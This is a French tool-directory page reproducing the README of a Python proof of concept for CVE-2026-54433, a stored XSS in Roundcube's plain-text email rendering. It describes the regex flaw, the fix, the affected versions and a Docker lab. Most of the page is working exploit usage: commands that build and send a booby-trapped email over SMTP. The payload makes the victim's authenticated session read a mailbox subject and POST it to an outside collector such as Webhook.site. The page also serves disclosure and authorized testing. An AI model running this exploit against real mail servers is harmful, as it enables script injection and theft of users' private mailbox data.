Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-54433 — PoC Python configurable pour CVE-2026-54433, un XSS stocké dans le moteur de rendu des e-mails en texte brut de Roundcube. Génère un .eml piégé, l'envoie via SMTP et valide l'impact dans un laboratoire Docker. | Kitploit
Outils/GitHubGitHub/aramosf/cve-2026-54433
Analyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesSécurité WebTests d'IntrusionDéveloppement de Charges UtilesSécurité des EmailsLabs et Pratique
GitHubaramosf/cve-2026-54433

CVE-2026-54433

PoC Python configurable pour CVE-2026-54433, un XSS stocké dans le moteur de rendu des e-mails en texte brut de Roundcube. Génère un .eml piégé, l'envoie via SMTP et valide l'impact dans un laboratoire Docker.

il y a 6 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

CVE-2026-54433 : XSS stockée dans les e-mails en texte brut de Roundcube

Démonstration de l'exécution de l'exploit

Ce dépôt contient une preuve de concept Python configurable pour CVE-2026-54433, une vulnérabilité de script intersite (XSS) stockée dans le moteur de rendu des e-mails en texte brut de Roundcube. Un expéditeur non authentifié peut délivrer un message text/plain spécialement conçu. Lorsqu'un utilisateur Roundcube authentifié ouvre ou prévisualise ce message, du JavaScript contrôlé par l'attaquant s'exécute dans l'origine Roundcube.

La preuve de concept démontre un impact concret sur une session authentifiée sans collecter de cookies ni de corps de messages : elle lit l'objet d'un message plus ancien et envoie cette valeur, l'origine Roundcube et le nom de la tâche à un collecteur autorisé sous forme de champs POST encodés dans l'URL.

Avertissement

Ceci est un code d'exploitation actif. Utilisez-le uniquement dans un laboratoire vous appartenant ou contre un système et une boîte aux lettres que vous êtes explicitement autorisé à tester. Le mode d'envoi transmet un e-mail spécialement conçu et peut divulguer un objet préexistant au collecteur. Utilisez --generate-only pour une inspection hors ligne.

Résumé de la vulnérabilité

Roundcube convertit les adresses trouvées dans les messages en texte brut en liens mailto: cliquables. Dans les versions affectées, le suffixe de requête optionnel était mis en correspondance avec \S+ :

root@kitploit:~
. '(\?\S+)?'

Comme \S inclut < et >, une chaîne commençant comme une adresse e-mail pouvait amener le remplacement de lien automatique à consommer une balise HTML ouvrante tout en laissant le reste être interprété comme du balisage. Cette forme minimale illustre la primitive :

root@kitploit:~
[email protected]?]

Le correctif en amont restreint le suffixe de requête afin qu'il ne puisse pas contenir de chevrons ni d'espaces :

root@kitploit:~
. '(\?[^<>\s]+)?'

L'éditeur décrit le problème comme étant « zero-click » (zéro clic) car aucun clic sur un lien n'est requis. Ouvrir ou prévisualiser l'e-mail en étant authentifié reste l'action du client de messagerie qui déclenche le rendu de la charge utile.

Versions affectées et corrigées

Ligne de versionStatut
Versions de Roundcube antérieures à 1.6.17Affectées
Roundcube 1.6.17 et versions 1.6.x ultérieuresCorrigées
Roundcube 1.7.0 et 1.7.1Affectées
Roundcube 1.7.2 et versions ultérieuresCorrigées

Les commits de correctif publics sont :

  • Ligne 1.7 : 5477e979aae0317e111564bfc9971ba7707cc165
  • Ligne 1.6 : 4c278f4868c67b163567cae3d74e58d872913459

Mettez à jour vers Roundcube 1.6.17 / 1.7.2 ou une version prise en charge plus récente.

Conditions préalables et périmètre

  • L'attaquant a besoin d'un moyen de délivrer un e-mail à la victime, mais ne nécessite ni compte Roundcube, ni mot de passe, ni accès à un plugin, ni accès administrateur.
  • Le message doit être rendu par une version affectée de Roundcube comme text/plain.
  • La victime doit disposer d'une session Roundcube authentifiée et ouvrir ou prévisualiser le message.
  • Aucun plugin Roundcube tiers n'est requis.
  • Le test Docker positif a utilisé le skin Elastic par défaut de Roundcube. La primitive racine se situe dans la conversion côté serveur du texte brut ; il n'est pas affirmé ici que les autres skins aient été testés indépendamment.
  • Le contrôle « les ressources distantes ont été bloquées » de Roundcube n'a pas arrêté la primitive testée : l'image cachée utilise un src relatif échoué pour déclencher onerror. Un rappel vers le collecteur nécessite toujours une connectivité réseau du navigateur.
  • Le cookie de session de Roundcube est normalement HttpOnly. Cette preuve de concept ne tente pas de le lire. Sa requête same-origin utilise automatiquement la session authentifiée, et l'objet du message séparé constitue la preuve de l'impact.

Le résultat démontré est l'exécution de JavaScript authentifié et l'accès en lecture à l'objet d'un e-mail antérieur. La prise de contrôle de compte, le vol arbitraire de corps de messages et l'exécution de code côté serveur ne sont pas revendiqués par ce dépôt.

Comportement de la preuve de concept

cve-2026-54433-poc.py est autonome et n'utilise que la bibliothèque standard de Python. Il :

  1. construit un e-mail ordinaire text/plain spécialement conçu selon RFC 5322 ;
  2. analyse au plus 50 UID bas dans la boîte aux lettres Roundcube courante par défaut ;
  3. sélectionne le premier objet plus ancien ne commençant pas par CVE-2026-54433 ;
  4. envoie en POST subject, origin et task vers /capture/<random-marker> ;
  5. ne lit jamais les cookies, les identifiants, les corps de messages ni les pièces jointes ;
  6. envoie facultativement l'e-mail via SMTP simple, STARTTLS ou TLS implicite ;
  7. interroge facultativement Webhook.site ou un point de terminaison de statut JSON compatible.

La charge utile insère le commentaire DOM :

root@kitploit:~
<!-- This is a BugBounty test; only one subject is copied as evidence -->

Elle masque également le fragment d'adresse auto-lié et l'indicateur d'image cassée tout en affichant le corps bénin fourni par l'appelant.

Génération hors ligne

Générez l'e-mail sans établir de connexion réseau :

root@kitploit:~
python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector https://collector.example.test \
  --generate-only

Ceci écrit :

  • cve-2026-54433-trigger.eml
  • cve-2026-54433-evidence.json

Inspectez le message généré avant d'utiliser le mode d'envoi.

Test SMTP autorisé avec Webhook.site

La valeur --collector peut être un UUID Webhook.site, une URL de capture ou une URL #!/view/. Le script en déduit les points de terminaison de capture et d'interrogation.

root@kitploit:~
python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
  --smtp-host smtp.example.com \
  --smtp-port 587 \
  --smtp-security starttls \
  --smtp-user [email protected]

Si SMTP_PASSWORD est absent, le script demande le mot de passe sans l'afficher ni le stocker. Une variable portant un autre nom peut être sélectionnée avec --smtp-password-env NAME. Évitez --smtp-password sur les systèmes multi-utilisateurs, car les arguments de ligne de commande peuvent être visibles dans les listes de processus ou l'historique du shell.

Le script demande un YES explicite avant l'envoi. Dans le cadre d'une automatisation de laboratoire non interactive et déjà autorisée, passez --yes. Par défaut, il attend un rappel jusqu'à 24 heures ; utilisez --timeout SECONDS pour modifier cela.

Pour un collecteur autre que Webhook.site, transmettez la base de capture et le point de terminaison de statut JSON facultatif :

root@kitploit:~
python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Authorized XSS test' \
  --collector https://collector.example.test \
  --poll-url https://collector.example.test/status \
  --smtp-host mail.example.test \
  --smtp-security starttls

Le collector.py inclus implémente les points de terminaison compatibles /capture/<marker> et /status. Il se lie au loopback par défaut. Le déploiement HTTPS réel et le contrôle d'accès sont intentionnellement laissés au testeur autorisé.

Laboratoire Docker reproductible

Le laboratoire n'expose aucun port hôte et ne contient que des messages synthétiques. Il utilise la même preuve de concept Python pour générer le déclencheur, délivre les deux messages dans une boîte aux lettres Dovecot jetable, se connecte via un navigateur headless jetable et enregistre si le gestionnaire injecté a lu l'objet précédent.

Prérequis : Docker, Python 3, OpenSSL et jq.

Test vulnérable :

root@kitploit:~
./lab/run.sh

Contrôle corrigé :

root@kitploit:~
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh

Pour une vidéo ou une démonstration en direct dans le navigateur, exécutez :

root@kitploit:~
./lab/demo.sh

Il publie Roundcube et le collecteur visuel uniquement sur loopback. Ouvrez les deux URL imprimées par le script, montrez le collecteur initialement vide, connectez-vous avec les identifiants synthétiques imprimés, cliquez sur l'e-mail déclencheur, puis revenez au collecteur. L'objet synthétique capturé apparaît dans un tableau à actualisation automatique. Ctrl-C supprime les conteneurs et le réseau jetables.

Pour enregistrer l'interaction navigateur et un rappel Webhook.site réel, utilisez l'enregistreur reproductible. Il nécessite Chrome, Xvfb, ffmpeg, Docker et un jeton Webhook.site autorisé fourni via l'environnement :

root@kitploit:~
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh

Le MP4 résultant montre la ligne de déclenchement Roundcube visible, un clic de souris annoté et Webhook.site affichant l'objet synthétique reçu. Le jeton n'est jamais stocké dans l'arborescence source.

Enregistrement produit : assets/CVE-2026-54433-webhook-demo.mp4

L'enregistrement comprend un panneau de terminal visible montrant l'invocation Python en mode generate-only, sa sortie de génération de charge utile, le clic dans Roundcube et la requête Webhook.site résultante.

La démo visuelle accepte également COLLECTOR_URL et COLLECTOR_VIEW_URL ; pointez les deux vers un jeton Webhook.site autorisé pour montrer le vrai collecteur recevant l'objet synthétique. Ne réutilisez pas un jeton contenant des requêtes sans rapport.

Résultats reproduits

La comparaison de bout en bout a été exécutée le 14/08/2026 sur Linux x86-64 avec Docker :

Corps de rappel positif (valeur synthétique, origine assainie) :

root@kitploit:~
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail

La comparaison structurée et assainie se trouve dans docs/e2e-results.json.

Vérifier l'arborescence de publication

La vérification hors ligne compile les sources Python, génère un nouveau .eml et vérifie son type MIME, la primitive de charge utile, le corps visible, le commentaire et les métadonnées :

root@kitploit:~
./verify.sh

Définissez RUN_DOCKER=1 pour ajouter les deux contrôles Docker de bout en bout :

root@kitploit:~
RUN_DOCKER=1 ./verify.sh

Instantané de recherche d'exploit public

Le 14/08/2026, des recherches ciblées pour CVE-2026-54433 sur GitHub, Exploit-Database et Packet Storm n'ont pas permis de localiser un exploit d'envoi d'e-mails configurable et validé avec une comparaison vulnérable/corrigé de bout en bout. Les entrées des éditeurs et des bases de données de vulnérabilités, les discussions sur les modèles de scanners et les articles descriptifs existaient déjà. Il s'agit d'un instantané de recherche daté, et non d'une affirmation qu'aucune autre preuve de concept ne peut exister.

Références

  • Annonce des versions de sécurité de Roundcube
  • Entrée NVD pour CVE-2026-54433
  • Commit de correctif Roundcube 1.7
  • Commit de correctif Roundcube 1.6

Découverte de la vulnérabilité : Bohdan Kurinnoy, Samsung R&D Institute Ukraine (SRUKR), comme crédité par Roundcube.

Recherche, validation de l'impact et implémentation de l'exploit : A. Ramos <[email protected]> (Twitter : @aramosf).

À propos

Preuve de concept de XSS stockée dans les e-mails en texte brut de Roundcube (CVE-2026-54433) avec preuve bornée de l'objet de boîte aux lettres en session authentifiée et un laboratoire Docker vulnérable/corrigé.

Télécharger l’outil
ContrôleDigest d'imageGestionnaire injectéObjet antérieur envoyéRésultat
Roundcube 1.7.1 Apachesha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1feval(name) présentOui, POST encodé dans l'URLCONFIRMED
Roundcube 1.7.3 Apachesha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6Absent ; balisage échappéAucun rappelNOT_CONFIRMED